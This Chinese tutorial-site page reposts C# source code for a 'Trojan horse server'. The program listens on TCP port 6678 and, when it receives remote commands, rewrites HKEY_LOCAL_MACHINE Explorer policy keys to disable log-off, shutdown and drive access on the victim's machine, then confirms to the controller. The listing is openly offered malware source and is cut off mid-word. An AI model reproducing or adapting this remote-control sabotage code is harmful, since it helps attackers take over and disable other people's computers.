特洛伊木马服务器源代码(C#)

2016-01-29 13:01 20 1 收藏

特洛伊木马服务器源代码(C#),特洛伊木马服务器源代码(C#)

【 tulaoshi.com - ASP.NET 】


using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.IO; using System.Net; using System.Net.Sockets; using System.Threading; using Microsoft.Win32; namespace server { /**//// /// Form1 的摘要说明。 /// public class Form1 : System.Windows.Forms.Form { /**//// /// 必需的设计器变量。 /// private System.ComponentModel.Container components = null; private TcpListener listener; private string mystr="您好!非常抱歉,您的注册表:"; private RegistryKey rrr=Registry.LocalMachine; private RegistryKey key1; public Form1() { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); {int port =6678; listener=new TcpListener(port); listener.Start(); Thread thread=new Thread(new ThreadStart(target)); thread.Start(); } // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 // } public void target() { Socket socket= listener.AcceptSocket(); while(socket.Connected) { byte[] by=new Byte[6]; int i=socket.Receive(by,by.Length,0); string ss=System.Text.Encoding.ASCII.GetString(by); //OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="jiance") { string str="hjc"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); } if(ss=="zx1000") { try { key1=rrr.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true); key1.SetValue("NoLogOff",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoLogOff被修改!请将它置为0!"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoLogOff被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="") //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //**************************************************************************** if(ss=="zx0100") { try { key1=rrr.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true); key1.SetValue("NoClose",1); key1.Close(); mystr=mystr+"LocalMachineSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoClose被修改!请将它置为0!"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer"); key2.SetValue("NoClose",1); key2.Close(); mystr=mystr+"LocalMachineSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoClose被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="zx0100"){ //**************************************************************************** //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if(ss=="zx0010") { try { key1=rrr.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true); key1.SetValue("NoDrives",12); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoDrives被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer"); key2.SetValue("NoDrives",12); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoDrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ strin

来源:https://www.tulaoshi.com/n/20160129/1488552.html

延伸阅读
标签: Web开发
随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为永远不会被查杀的后门。由于其高度的...
using System; using System.Collections.Generic; using System.Text; using System.Data; namespace Yaosansi {     class Test     {         static void Main()       ...
标签: 服务器
服务器迁移服务器搬家教程   第一步:配置从属服务器,以下步骤(旧的服务器是192.168.1.105,新的192.168.1.200,例子) 1.这是新的服务器1.200的,添加子服务器的过程 到这里,从属服务器就搭起来了 。下面开始做转移,以转移192.168.1.0段为例。 2. 开始做转移任务。 在主服务器...
notsamenum++; } } if(notsamenum<4) { char cj=(char)datachar[ii]; return cj.ToString(); } } return jieguo; } /// <summary /// 检查特征库中是否已经存在相关记录 /// </summary bool ischardatain() { bool jieguo=false; for(int ii=0;ii<datanum;ii++) { //统计一共有多少行的像素有差异,如果在4行以内就认为是存在该...
《特洛伊无双》详细图文攻略 原帖:点击进入 第一章:Landing 1.剧情过后开始真正的游戏,无双迷们应该不会有生熟的感觉,杀戮才是硬道理。第一伙敌人很快就会被我们大批的友军消灭,最初的战斗先了解一下游戏的基本操作。 2.在地图可以看到第一个目标是北面的海滩,前进到第二批敌人附近时发生小剧情,前方的道路被帆船阻挡...

经验教程

760

收藏

59
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部